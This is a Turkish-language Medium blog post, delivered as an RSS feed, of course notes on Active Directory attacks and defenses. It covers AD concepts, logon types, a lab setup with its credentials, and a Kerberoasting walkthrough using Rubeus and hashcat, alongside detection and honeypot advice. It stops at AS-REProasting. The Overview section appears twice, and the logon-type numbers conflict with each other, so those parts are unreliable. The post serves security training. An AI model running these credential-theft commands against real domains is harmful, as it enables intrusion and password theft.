<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ömer Kaan Kurt on Medium]]></title>
        <description><![CDATA[Stories by Ömer Kaan Kurt on Medium]]></description>
        <link>https://medium.com/@kurtkaan?source=rss-38b56ee03f4e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SSo4JtikAnGpGy0-bnz8SA.png</url>
            <title>Stories by Ömer Kaan Kurt on Medium</title>
            <link>https://medium.com/@kurtkaan?source=rss-38b56ee03f4e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 14:12:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kurtkaan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Attacks & Defense]]></title>
            <link>https://medium.com/@kurtkaan/windows-attacks-defense-43899022ceaf?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/43899022ceaf</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 17:10:24 GMT</pubDate>
            <atom:updated>2026-10-17T17:10:24.635Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7cA25Ez25SedW73E8Ga5g.png" /></figure><p><strong>Yasal Kullanım ve Kapsam:</strong><br>Bu dokümanda yer alan uygulamalar, yalnızca tarafıma ait test ortamlarında ve internet üzerinde erişilebilen açık kaynaklı, eğitim amaçlı lab ortamlarında gerçekleştirilmiştir. Çalışmalar, siber güvenlik alanında teknik bilgi ve deneyimin geliştirilmesi amacıyla hazırlanmış olup, herhangi bir yetkisiz sisteme yönelik faaliyet içermemektedir.</p><h3>BÖLÜM 1: GİRİŞ VE TERMİNOLOJİ</h3><h4>Active Directory (AD) Nedir?</h4><p>Active Directory, Microsoft’un 2000 yılında Windows Server 2000 ile birlikte resmi olarak yayınladığı bir <strong>dizin hizmetidir</strong> (directory service). Düşün ki bir şirketin tüm kullanıcıları, bilgisayarları, grupları, ağ cihazları, dosya paylaşımları, politikaları ve güven ilişkileri tek bir merkezden yönetebildiğin yer.</p><p>AD’nin üç temel işlevi vardır: <strong>Kimlik Doğrulama</strong> (Authentication — “sen kimsin?”), <strong>Yetkilendirme</strong> (Authorization — “ne yapabilirsin?”) ve <strong>Hesap Takibi</strong> (Accounting — “ne yaptın?”).</p><p><strong>Neden bu kadar kritik?</strong> AD, dünya genelinde en yaygın kullanılan Kimlik ve Erişim Yönetimi (IAM) çözümüdür. Kurumsal uygulamaların büyük çoğunluğu AD ile entegre çalışır. Eğer bir saldırgan AD’yi ele geçirirse, bu sadece tek bir sistem değil — o kurumdaki <strong>tüm sistemlere, uygulamalara ve verilere</strong> sınırsız erişim anlamına gelir. Bu, CIA üçlüsünü (Gizlilik, Bütünlük, Erişilebilirlik) tamamen ihlal eder.</p><p>Saldırganlar bu güvenlik açıklarını kullanarak <strong>ransomware</strong> (fidye yazılımı) saldırıları düzenleyebilir — verilerinizi şifreler ve şifre çözme anahtarı karşılığında para ister. Ama mesele tek bir sistemi kaybetmek değil; AD ele geçirilince <strong>her şey</strong> gider.</p><h4>Temel Kavram Sözlüğü</h4><p><strong>Domain (Etki Alanı):</strong> Aynı AD veritabanını paylaşan nesneler grubu — kullanıcılar, bilgisayarlar vb. Örneğin sirket.local bir domain&#39;dir.</p><p><strong>Tree (Ağaç):</strong> Bir veya daha fazla domain’in gruplandırılmış hali. Örneğin test.local, staging.test.local ve preprod.test.local aynı ağaçta yer alır.</p><p><strong>Forest (Orman):</strong> Birden fazla ağacın toplandığı en üst seviye yapı. Tüm domain’leri kapsar.</p><p><strong>OU (Organizational Unit):</strong> Kullanıcıları, bilgisayarları ve diğer OU’ları içeren AD kapsayıcılarıdır. Düzenleme ve politika uygulamak için kullanılır.</p><p><strong>Trust (Güven İlişkisi):</strong> Bir domain’deki kaynakların başka bir domain’deki kaynaklara erişim izni tanımlayan ilişkidir.</p><p><strong>Domain Controller (DC):</strong> AD’nin “beyni”dir. Tüm dizini kurar ve yönetir. Kimlik doğrulama ve yetkilendirme hizmetlerini sağlar. En yüksek yetki ve önceliğe sahiptir.</p><p><strong>NTDS.DIT:</strong> AD’nin en kritik dosyası. Tüm kullanıcı bilgilerini, şifre hash’lerini ve yapıyı içerir. %SystemRoot%\NTDS klasöründe bulunur. Bir saldırgan bu dosyayı ele geçirirse, tüm kullanıcıların şifre hash&#39;lerine ulaşır.</p><h4>Kimlik Doğrulama Yöntemleri</h4><p>Windows ortamlarında üç ana kimlik doğrulama yöntemi vardır:</p><p><strong>1) Parola Hash’leri:</strong> Kullanıcı adı ve parola, doğrudan metin olarak değil, hash (özet) formunda saklanır/iletilir. Hash türleri: LM (eski ve zayıf), NTLM, NetNTLMv1, NetNTLMv2.</p><p><strong>2) Kerberos Biletleri:</strong> Microsoft’un Kerberos protokolü uygulamasıdır. Güvenilir bir üçüncü taraf (DC) aracılığıyla çalışır. Biletler kriptografik kimlik kanıtıdır.</p><p><strong>3) LDAP üzerinden kimlik doğrulama:</strong> Geleneksel kullanıcı adı/parola veya sertifika ile yapılır.</p><h4>Kerberos Sistemi</h4><p>!! Bu konu ilerideki birçok saldırının (Kerberoasting, Golden Ticket, AS-REProasting) temelini oluşturur:</p><p><strong>KDC (Key Distribution Center):</strong> DC üzerinde çalışan Kerberos hizmeti. Biletleri oluşturur. İki bileşeni var: AS (Authentication Server) ve TGS (Ticket Granting Server).</p><p><strong>TGT (Ticket Granting Ticket):</strong> Kullanıcının geçerli kimlik bilgileri sunduğunu kanıtlayan bilettir. “Giriş kartı” gibi — bununla diğer servislere erişim isteyebilirsin.</p><p><strong>TGS (Ticket Granting Service):</strong> Geçerli TGT’ye sahip kullanıcının belirli bir servise erişmek için aldığı bilettir. “Oda anahtarı” gibi — her servis için ayrı bir TGS alınır.</p><p><strong>KRBTGT Hesabı:</strong> AD’de oluşturulan ilk hesaptır ve <strong>devre dışı</strong> olmasına rağmen son derece kritiktir. KDC anahtarı bu hesabın parola hash’inden türetilir. Bu anahtar TGT’lerin geçerliliğini kanıtlar. Parolası rastgele üretilir ve siz bilinen bir değere ayarlamaya çalışsanız bile AD otomatik olarak rastgele bir değerle değiştirir.</p><h4>Ayrıcalıklı Gruplar ve Riskleri</h4><p><strong>Domain Admins</strong> ve <strong>Administrators</strong> en yüksek yetkili gruplardır. Domain Admins üyeleri varsayılan olarak domain’e katılmış tüm makinelerde yönetici olur. Forest’ın en üst domain’inde ayrıca <strong>Enterprise Admins</strong> grubu bulunur — tüm domain’ler üzerinde yetkilidir.</p><p><strong>Risk örneği — Account Operators:</strong> Birçok AD yöneticisi, servis table sinin kullanıcı parolalarını sıfırlayabilmesi için bu grubu atar. Ama bu grup aslında çok geniş yetkilere sahiptir. Doğru yol, özel bir grup oluşturup sadece parola sıfırlama yetkisi devretmektir. Account Operators üzerinden Domain Admins’e yükselme yolu yaygındır — özellikle Azure AD Connect’in oluşturduğu “MSOL_” hesapları üzerinden.</p><h4>Oturum Açma Türleri</h4><p>Windows’ta birden fazla oturum açma tipi vardır. Bu çok önemlidir çünkü her tip, sistem üzerinde farklı bir <strong>iz</strong> bırakır — yani kullanıcı adı ve parola bilgisi o sistemde kalır.</p><h3>Windows Oturum Açma Türleri (Logon Types)</h3><p>Windows, her oturum açma girişimini bir <strong>Logon Type numarası</strong> ile etiketler. Bu numara, hem Event Viewer’da (Event ID 4624 — başarılı oturum açma) görünür hem de hangi kimlik bilgisi materyalinin sistemde ne şekilde saklanacağını belirler.</p><p>!!<br> Bir saldırgan bir makineye eriştiğinde, <strong>LSASS</strong> (Local Security Authority Subsystem Service) belleğinde önceki oturum açmalardan kalan kimlik bilgilerini arar mimikatz gibi araçlar aslında bunu yapar. Ama hangi tür kimlik bilgisinin (parola metni, NTLM hash&#39;i, Kerberos bileti) bellekte kaldığı, <strong>hangi logon type ile giriş yapıldığına</strong> bağlıdır. Bu yüzden bir saldırgan için &quot;bu makineye kim, nasıl bağlanmış&quot; sorusu kritik.</p><h4>Ana Logon Type’lar</h4><p><strong>Type 1 — Interactive:</strong> Kullanıcı, klavye ve fareyle <strong>fiziksel olarak</strong> makinenin başında oturum açar (konsol girişi). Kimlik bilgileri LSASS belleğinde tutulur — bu yüzden bir sunucuya fiziksel/KVM erişimle giren bir yöneticinin izleri, sonradan çalınabilir.</p><p><strong>Type 2 — Network (İSTİSNA, iz bırakmaz):</strong> SMB paylaşımına bağlanma, net use, dosya paylaşım erişimi gibi durumlarda kullanılır. Genellikle <strong>NTLM challenge-response</strong> mekanizmasıyla çalışır — yani parola veya hash&#39;in kendisi hedef sisteme <strong>hiç gönderilmez</strong>, sadece bir kriptografik kanıt gönderilir. Bu yüzden hedef sistemde kimlik bilgisi izi <strong>kalmaz</strong>. Dokümanın vurguladığı kural tam olarak bu: &quot;Type 3 hariç hepsi iz bırakır.&quot;</p><p><strong>Type 3 — Batch:</strong> Zamanlanmış görevler (Scheduled Tasks) çalıştırıldığında kullanılır. Görev, kayıtlı bir kullanıcı hesabıyla çalışıyorsa, o hesabın kimlik bilgileri sistemde saklanır (görev motorunun tekrar tekrar kimlik doğrulaması yapabilmesi için).</p><p><strong>Type 4 — Service:</strong> Bir Windows servisi belirli bir kullanıcı hesabıyla başlatıldığında oluşur. Servis hesabının kimlik bilgileri, servisin sürekli çalışabilmesi için sistemde saklanır — bu da <strong>Kerberoasting’in aslında neden bu kadar etkili olduğunu</strong> açıklayan bir başka açıdır: servis hesapları zaten iz bırakmaya “programlanmış” durumdadır.</p><p><strong>Type 5 — Unlock:</strong> Kilitli bir ekranın açılması. Type 2&#39;ye benzer sonuçlar doğurur.</p><p><strong>Type 6 — NetworkCleartext:</strong> Type 3&#39;e benziyor ama kimlik bilgisi <strong>düz metin olarak</strong> ağ üzerinden gönderilir (örneğin bazı temel kimlik doğrulamalı IIS/web uygulamaları, ya da runas /netonly bazı senaryolarda). Bu, Type 3&#39;ün aksine iz bırakabilir çünkü parola metni gerçekten iletiliyor.</p><p><strong>Type 7 — NewCredentials:</strong> runas /netonly komutuyla oluşturulur. Yerel oturum kendi kimliğinle devam ederken, ağ bağlantıları için farklı bir kimlik kullanılır. Saldırganların &quot;bir kimlik bilgisi setini doğrulamadan test etme&quot; (pass-the-hash denemeleri gibi) amacıyla sıkça kullandığı bir tekniktir.</p><p><strong>Type 8 — RemoteInteractive (RDP):</strong> Uzak masaüstü bağlantısı. <strong>Type 2 ile aynı derecede tehlikeli</strong> — çünkü RDP ile bağlanan bir yöneticinin kimlik bilgileri, tıpkı fiziksel oturum açmış gibi hedef sistemin LSASS belleğinde tutulur. Bu yüzden bu kursun lab senaryosunda gördüğümüz gibi, bir yönetici RDP ile bir sunucuya bağlandığında, o sunucu ele geçirilirse yöneticinin kimlik bilgileri de ele geçirilmiş olur.</p><p><strong>Type 9 — CachedInteractive:</strong> Domain Controller’a ulaşılamadığında, önbelleğe alınmış kimlik bilgileriyle (laptop’ların DC’ye bağlı olmadan da açılabilmesini sağlayan mekanizma) oturum açma.</p><h4>Saldırgan Perspektifinden</h4><p>Bu bilgi, gerçek dünyada şu şekilde işe yarar: Bir saldırgan bir sunucuyu ele geçirdiğinde, önceliği genellikle <strong>“buraya kim, ne zaman, hangi tür ile bağlanmış”</strong> sorusunu cevaplamaktır. Eğer bir Domain Admin, o sunucuya <strong>Type 2 veya Type 10</strong> ile bağlanmışsa, saldırgan büyük ihtimalle o hesabın kimlik bilgilerini (hash veya bilet olarak) LSASS belleğinden çıkarabilir — bu da tek bir düşük yetkili makineden <strong>tüm domain’e</strong> sıçrama (lateral movement → privilege escalation) anlamına gelebilir.</p><p>Bu yüzden savunma tarafında “<strong>Tiering</strong>” (katmanlama) modeli önerilir: Domain Admin hesapları, <strong>sadece</strong> Domain Controller’lara doğrudan bağlanmalı; asla sıradan bir kullanıcı iş istasyonuna (WS001 gibi) RDP veya interactive girişle bağlanmamalı. Çünkü tam da bu kursun lab senaryosunda olduğu gibi, düşük değerli bir makinenin ele geçirilmesi, üzerinde iz bırakmış yüksek yetkili bir hesabın çalınmasına yol açabilir.</p><p><strong>Kural:</strong> “Network logon (Tip 3)” HARİÇ diğer tüm oturum açma türleri, bağlanılan sistemde kimlik bilgilerinin izini bırakır. Yani bir yönetici RDP ile bir sunucuya bağlanırsa, o sunucuda şifre hash’i kalır — saldırgan bunu çalabilir.</p><h4>Önemli Ağ Portları (Ezberlenmeli!)</h4><p>Bunları ezberlemek saha çalışmalarında çok faydalıdır:</p><ul><li><strong>53:</strong> DNS</li><li><strong>88:</strong> Kerberos</li><li><strong>135:</strong> WMI / RPC</li><li><strong>137–139 ve 445:</strong> SMB</li><li><strong>389 ve 636:</strong> LDAP</li><li><strong>3389:</strong> RDP</li><li><strong>5985 ve 5986:</strong> PowerShell Remoting (WinRM)</li></ul><h4>AD’nin Kullanıcılar Tarafından Numaralandırılması</h4><p>Sıradan bir AD kullanıcısı, AD içindeki nesnelerin büyük çoğunluğunu sorgulayabilir: domain bilgisayarları, kullanıcılar, grup bilgileri, varsayılan domain politikası, parola politikası, GPO’lar, Kerberos delegasyonu, güven ilişkileri ve ACL’ler. Bu, AD’nin <strong>tasarımsal</strong> bir özelliğidir ve kısıtlamak birçok uygulama/servisi bozabilir.</p><h4>Real-World View</h4><p>Doküman üç temel zayıflık kategorisini vurgular:</p><p><strong>Karmaşıklık:</strong> İç içe geçmiş grup üyelikleri. Bir kullanıcı, bir grubun üyesi olabilir, o grup başka bir grubun üyesi, o da başka birinin…<br> Gruplar başka grupların içine eklenebildiği için, bir kullanıcı görünüşte sıradan bir gruba üye olsa bile, o grup zincirleme şekilde başka gruplara üye olduğundan, kullanıcı fark etmeden ve kimse kasıtlı bir yetki vermeden <strong>dolaylı yoldan Domain Admins üyesi</strong> haline gelebilir</p><p>Domain Admins<br> └── üye: “IT-Yöneticileri” grubu<br> └── üye: “Helpdesk-Kıdemli” grubu<br> └── üye: “Servis-Masası-Ekibi” grubu<br> └── üye: Ahmet (sıradan bir helpdesk çalışanı)</p><p><strong>Tasarım:</strong> GPO’lar SYSVOL paylaşımı üzerinden SMB protokolüyle dağıtılır. Ama SMB aynı zamanda kod çalıştırmaya da izin verir. Geçerli yetkilendirilmiş kimlik bilgilerine sahip biri, DC’ler üzerinde uzaktan komut çalıştırabilir.</p><p><strong>Eski Uyumluluk (Legacy):</strong> Windows, kutudan çıktığı gibi çalışmayı hedefler ama güvenli değildir. Örneğin <strong>NetBIOS</strong> ve <strong>LLMNR</strong> protokolleri varsayılan olarak açıktır. DNS başarısız olduğunda devreye girmesi gereken bu protokoller, DNS çalışsa bile aktiftir ve ağ üzerinde kullanıcı kimlik bilgilerini yayınlar — dinleyen herkes bu bilgileri yakalayabilir.</p><h3>BÖLÜM 2: OVERVIEW</h3><h4>Modülün Metodolojisi</h4><p>ele alınacak <strong>her saldırı için</strong> aynı beş adımlı yaklaşımı izleyecez.</p><ol><li><strong>Açıklama (Describe)</strong> — Saldırı nedir, nasıl çalışır?</li><li><strong>Yürütme (Walkthrough)</strong> — Saldırıyı adım adım nasıl gerçekleştiririz?</li><li><strong>Önleme (Prevention)</strong> — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?</li><li><strong>Tespit (Detection)</strong> — Bu saldırıyı nasıl fark ederiz?</li><li><strong>Honeypot (Tuzak)</strong> — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?</li></ol><p>Her teknik için bu 5 soruyu sor</p><h4>Saldırıların Listesi</h4><ul><li>Kerberoasting</li><li>AS-REProasting</li><li>GPP Şifreleri (Group Policy Preferences)</li><li>Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)</li><li>Ağ paylaşımlarındaki kimlik bilgileri</li><li>Kullanıcı özniteliklerindeki kimlik bilgileri</li><li>DCSync</li><li>Kerberos Golden Ticket</li><li>Kerberos Constrained Delegation saldırısı</li><li>Print Spooler &amp; NTLM Relaying</li><li>Coercing (zorlama) saldırıları &amp; Kerberos Unconstrained Delegation</li><li>Object ACLs (nesne erişim kontrol listeleri)</li><li>PKI Yanlış Yapılandırmaları — ESC1</li><li>PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)</li></ul><blockquote><strong><em>Not:</em></strong><em> ESC8 ilerde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir “ana başlık” olarak görünmüyor ama içeriğe dahil.</em></blockquote><h4>Lab Ortamının Yapısı</h4><p>Kurs, pratik yapman için izole bir sanal ortam sağlıyor. Senaryo şu: <strong>İnfa</strong> adında, hiçbir özel yetkisi olmayan sıradan bir AD kullanıcısının hesabı zaten ele geçirilmiş ve WS001 (Windows 10) makinesinde kod çalıştırma yetkisine sahipsin.</p><p>Ortamdaki makineler:</p><p>Makine IP Rol DC1 172.16.18.3 Domain Controller DC2 172.16.18.4 Domain Controller (ikinci) Server01 172.16.18.10 Sunucu PKI 172.16.18.15 Sertifika sunucusu WS001 DHCP / 172.16.18.25 Windows 10 — saldırgan başlangıç noktası Kali Linux DHCP / 172.16.18.20 Saldırgan makinesi</p><h4>Bağlantı Yöntemleri</h4><p><strong>WS001&#39;e RDP ile bağlanma</strong> (kullanıcı: infa, şifre: mvp123):</p><pre>xfreerdp /u:krysthal\infa /p:mvp123 /v:HEDEF_IP /dynamic-resolution</pre><p><strong>Kali’ye SSH ile bağlanma</strong> (varsayılan kali/kali):</p><pre>ssh kali@HEDEF_IP</pre><p>Kali’de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:</p><pre>xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution</pre><p><strong>Dosya taşıma (WS001 ↔ Kali arası):</strong> WS001 üzerinde bir SMB paylaşımı var. Kali’den smbclient ile bağlanabilirsin:</p><pre>smbclient \\HEDEF_IP\Share -U krysthal/administrator%mvp123</pre><p>Bağlandıktan sonra put (yükle) veya get (indir) komutlarıyla dosya transferi yapılır.### BÖLÜM 2: GENEL BAKIŞ (OVERVIEW)</p><p>Bu bölüm kısa ama önemli — kursun geri kalanının nasıl işleyeceğini ve lab ortamını tanıtıyor. Bundan sonraki her saldırı bölümüne girerken bu yapıyı hatırlayacaksın.</p><h4>Modülün Metodolojisi</h4><p>Kurs, ele alınacak <strong>her saldırı için</strong> aynı beş adımlı yaklaşımı izliyor:</p><ol><li><strong>Açıklama (Describe)</strong> — Saldırı nedir, nasıl çalışır?</li><li><strong>Yürütme (Walkthrough)</strong> — Saldırıyı adım adım nasıl gerçekleştiririz?</li><li><strong>Önleme (Prevention)</strong> — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?</li><li><strong>Tespit (Detection)</strong> — Bu saldırıyı nasıl fark ederiz?</li><li><strong>Honeypot (Tuzak)</strong> — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?</li></ol><p>Bu, senin de not alırken kullanabileceğin çok iyi bir zihinsel şablon: her teknik için bu 5 soruyu kendine sor.</p><h4>Kursta İşlenecek Tüm Saldırıların Listesi</h4><p>Doküman burada 14 saldırı tekniği sıralıyor (bizim harita bunları 16 bölüme yaymıştı, çünkü bazı saldırılar birleştirilmiş konu başlıkları altında):</p><ul><li>Kerberoasting</li><li>AS-REProasting</li><li>GPP Şifreleri (Group Policy Preferences)</li><li>Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)</li><li>Ağ paylaşımlarındaki kimlik bilgileri</li><li>Kullanıcı özniteliklerindeki kimlik bilgileri</li><li>DCSync</li><li>Kerberos Golden Ticket</li><li>Kerberos Constrained Delegation saldırısı</li><li>Print Spooler &amp; NTLM Relaying</li><li>Coercing (zorlama) saldırıları &amp; Kerberos Unconstrained Delegation</li><li>Object ACLs (nesne erişim kontrol listeleri)</li><li>PKI Yanlış Yapılandırmaları — ESC1</li><li>PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)</li></ul><blockquote><strong><em>Not:</em></strong><em> ESC8 son bölümde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir “ana başlık” olarak görünmüyor ama içeriğe dahil.</em></blockquote><h4>Lab Ortamının Yapısı</h4><p>Kurs, pratik yapman için izole bir sanal ortam sağlıyor. Senaryo şu: <strong>İnfa</strong> adında, hiçbir özel yetkisi olmayan sıradan bir AD kullanıcısının hesabı zaten ele geçirilmiş ve WS001 (Windows 10) makinesinde kod çalıştırma yetkisine sahipsin.</p><p>Ortamdaki makineler:</p><p>Makine IP Rol DC1 172.16.18.3 Domain Controller DC2 172.16.18.4 Domain Controller (ikinci) Server01 172.16.18.10 Sunucu PKI 172.16.18.15 Sertifika sunucusu WS001 DHCP / 172.16.18.25 Windows 10 — saldırgan başlangıç noktası Kali Linux DHCP / 172.16.18.20 Saldırgan makinesi</p><h4>Bağlantı Yöntemleri</h4><p><strong>WS001&#39;e RDP ile bağlanma</strong> (kullanıcı: infa, şifre: mvp123):</p><pre>xfreerdp /u:krysthal\infa /p:mvp123 /v:HEDEF_IP /dynamic-resolution</pre><p><strong>Kali’ye SSH ile bağlanma</strong> (varsayılan kali/kali):</p><pre>ssh kali@HEDEF_IP</pre><p>Kali’de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:</p><pre>xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution</pre><p><strong>Dosya taşıma (WS001 ↔ Kali arası):</strong> WS001 üzerinde bir SMB paylaşımı var. Kali’den smbclient ile bağlanabilirsin:</p><pre>smbclient \\HEDEF_IP\Share -U krysthal/administrator%mvp123</pre><p>Bağlandıktan sonra put (yükle) veya get (indir) komutlarıyla dosya transferi yapılır.</p><h3>BÖLÜM 3: KERBEROASTING</h3><p>AD saldırılarının en klasiklerinden biri.</p><p>Önce bir kavramı hatırlayalım: <strong>SPN (Service Principal Name)</strong> AD’de bir servis örneğini benzersiz şekilde tanımlayan kimliktir. Kerberos, SPN’leri kullanarak bir servis örneğini, o servisin çalıştığı hesapla ilişkilendirir. Bu sayede bir istemci, hesabın adını bilmeden bile o servisten kimlik doğrulaması isteyebilir.</p><p><strong>Kritik nokta:</strong> Bir istemci bir servise erişmek için TGS (Ticket Granting Service) bileti istediğinde, bu bilet <strong>servis hesabının NTLM parola hash’i ile şifrelenir.</strong></p><p>İşte Kerberoasting tam olarak burayı hedefliyor:</p><ol><li>Saldırgan bir servis bileti (TGS) alır</li><li>Bu bileti <strong>çevrimdışı</strong> (offline) olarak kırmaya çalışır — yani ağ trafiği üretmeden, kendi bilgisayarında</li><li>Bilet açılırsa, açan parola = servis hesabının gerçek parolasıdır</li></ol><p>Saldırının başarısı <strong>iki şeye bağlı:</strong></p><ul><li>Servis hesabının parolasının gücü</li><li>Biletin şifrelendiği algoritma: <strong>AES</strong> (yavaş kırılır, güvenli), <strong>RC4</strong> (hızlı kırılır, zayıf), <strong>DES</strong> (15+ yıllık eski sistemlerde, artık nadir)</li></ul><p>Önemli bir detay: normalde KDC en güçlü desteklenen algoritmayı kullanır, ama <strong>saldırganlar bunu RC4&#39;e düşürebilir</strong> (downgrade saldırısı) — bu da kırma işini kolaylaştırır.</p><h4>Saldırı Adımları (Attack Path)</h4><p><strong>1. Adım — Kırılabilir biletleri toplama:</strong></p><p>Rubeus aracı kullanılıyor. Kullanıcı belirtilmeden çalıştırıldığında, SPN kayıtlı <strong>her</strong> hesap için bilet çıkarır (büyük ortamlarda yüzlerce olabilir):</p><pre>Rubeus.exe kerberoast /outfile:spn.txt</pre><p>Lab ortamında bu komut çalıştırıldığında, krysthal.local domain&#39;inde <strong>3 kerberoastable kullanıcı</strong> bulunuyor. Örnek çıktıda Administrator hesabı için http/pki1 SPN&#39;i ve RC4_HMAC_DEFAULT şifreleme tipi görülüyor — yani bu hesap <strong>RC4 ile korunuyor</strong>, kırılması kolay demek.</p><p><strong>2. Adım — Çevrimdışı kırma:</strong></p><p>Elde edilen .txt dosyası Kali makinesine taşınıp hashcat ile kırılıyor:</p><pre>hashcat -m 13100 -a 0 spn.txt passwords.txt --outfile=&quot;cracked.txt&quot;</pre><p>-m 13100 parametresi hashcat&#39;e &quot;bu bir Kerberoastable TGS hash&#39;i&quot; diyor. Sözlük saldırısı (dictionary attack) ile parola deneniyor ve lab örneğinde birkaç saniye içinde parola bulunuyor.</p><p><strong>Alternatif araç:</strong> John the Ripper ile de aynı iş yapılabilir (--format=krb5tgs).</p><blockquote><strong><em>Önemli çıkarım:</em></strong><em> Bu saldırının tüm gücü, servis hesaplarının genellikle </em><strong><em>zayıf ve eski parolalara</em></strong><em> sahip olmasından geliyor — çünkü kimse bir servis hesabının parolasını düzenli değiştirmeyi hatırlamıyor, oysa normal kullanıcı hesapları parola politikasına tabi.</em></blockquote><h4>Önleme (Prevention)</h4><p>Bu saldırıya karşı üç savunma katmanı var:</p><p><strong>1) Güçlü parolalar:</strong> Servis hesaplarının parolaları <strong>100+ karakter rastgele</strong> olmalı (AD’de izin verilen maksimum 127 karakter). Bu, kırmayı pratik olarak imkansız hale getirir.</p><p><strong>2) gMSA (Group Managed Service Accounts):</strong> Bu, AD’nin otomatik yönettiği özel bir servis hesabı türü. Şu avantajları var:</p><ul><li>Belirli bir sunucuya bağlıdır, başka hiçbir yerde kullanılamaz</li><li>AD, parolasını otomatik olarak 127 karakterlik rastgele değerle döndürür</li><li>Dezavantajı: Tüm uygulamalar bunu desteklemiyor (öncelikle IIS, SQL gibi Microsoft servisleriyle uyumlu)</li></ul><p><strong>3) Temizlik disiplini:</strong> İhtiyacı olmayan hesaplara SPN atanmamalı, artık kullanılmayan servislere ait SPN’ler düzenli temizlenmeli.</p><h4>Tespit (Detection)</h4><p>TGS istendiğinde <strong>Event ID 4769</strong> loglanır. Ama burada bir sorun var: bu event, bir kullanıcı normal şekilde bir servise bağlandığında da üretilir — yani <strong>hacmi devasa</strong> ve tek başına güvenilir bir tespit yöntemi değil.</p><p><strong>Pratik tespit stratejileri:</strong></p><ul><li>Eğer ortamınızda <strong>sadece AES biletleri</strong> üretiliyorsa (yani her şey AES destekliyorsa), Event ID 4769&#39;u izlemek çok iyi bir gösterge olur.</li><li>Eğer bilet seçeneklerinde <strong>RC4</strong> görülüyorsa (bu varsayılan yapılandırma değil), bu mutlaka araştırılmalı.</li><li>Rubeus gibi araçlar varsayılan olarak SPN&#39;i olan <strong>her</strong> hesap için bilet çıkarır — bu yüzden <strong>&quot;bir dakika içinde 10&#39;dan fazla bilet isteği&quot;</strong> gibi bir eşik belirleyip alarm kurmak etkili bir yöntem. Bu kuralı hem istek yapan kullanıcıya hem de isteğin geldiği makineye göre gruplandırmak gerekir.</li></ul><h4>Honeypot (Tuzak Hesap) Yaklaşımı</h4><p>Bu bölümün en zekice kısmı: bir <strong>tuzak kullanıcı</strong> oluşturmak. Bu hesap gerçek bir işleve sahip olmadığından, normalde hiç servis bileti üretilmemeli — dolayısıyla bu hesap için <strong>herhangi bir</strong> bilet isteği neredeyse kesinlikle kötü niyetlidir.</p><p>Tuzak hesabın etkili olması için gereken 4 kriter:</p><ol><li><strong>Eski bir hesap olmalı</strong> — ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplara güvenmez, çünkü güçlü parolalı olabilirler ve honeypot şüphesi taşırlar)</li><li><strong>Parolası uzun süredir değiştirilmemiş olmalı</strong> — ideal olarak 2+ yıl, hatta 5+ yıl (ama yine de saldırganın kıramayacağı kadar güçlü olmalı!)</li><li><strong>Bir miktar yetkiye sahip olmalı</strong> — yoksa bilet almak saldırgan için ilgi çekici olmaz</li><li><strong>Meşru görünen bir SPN’e sahip olmalı</strong> — IIS veya SQL hesabı gibi yaygın türler idealdir</li></ol><p><strong>Ekstra fayda:</strong> Bu hesapla ilgili herhangi bir aktivite (başarılı veya başarısız oturum açma denemesi) şüpheli sayılır ve alarm verilmelidir.</p><h3>BÖLÜM 4: AS-REPROASTING</h3><h4>Açıklama</h4><p>Bu saldırı, Kerberoasting’e kavramsal olarak çok benziyor ama farklı bir zayıflığı hedefliyor: <strong>“Do not require Kerberos preauthentication”</strong> (Kerberos ön kimlik doğrulaması gerektirmez) özelliği açık olan kullanıcı hesapları.</p><p>Kerberos’ta normalde bir kullanıcı TGT istediğinde, önce kendi parolasıyla şifrelenmiş bir zaman damgası göndererek “gerçekten ben olduğumu” kanıtlar (bu <strong>ön kimlik doğrulama</strong>’dır). Ama bu özellik bir hesapta <strong>kapatılmışsa</strong>, KDC hiçbir kanıt istemeden doğrudan bir AS-REP (Authentication Server Response) gönderir — ve bu yanıtın bir kısmı <strong>kullanıcının parola hash’i ile şifrelenmiştir.</strong></p><p>Yani mantık aynı: bir kriptografik materyal elde et → çevrimdışı kır → parola çıkar. Farkı, Kerberoasting’in <strong>servis hesaplarını</strong>, AS-REProasting’in ise <strong>ön kimlik doğrulaması kapalı kullanıcı hesaplarını</strong> hedeflemesi. Bu saldırının başarısı da yine tamamen <strong>kırılacak hesabın parola gücüne</strong> bağlı.</p><h4>Saldırı Adımları 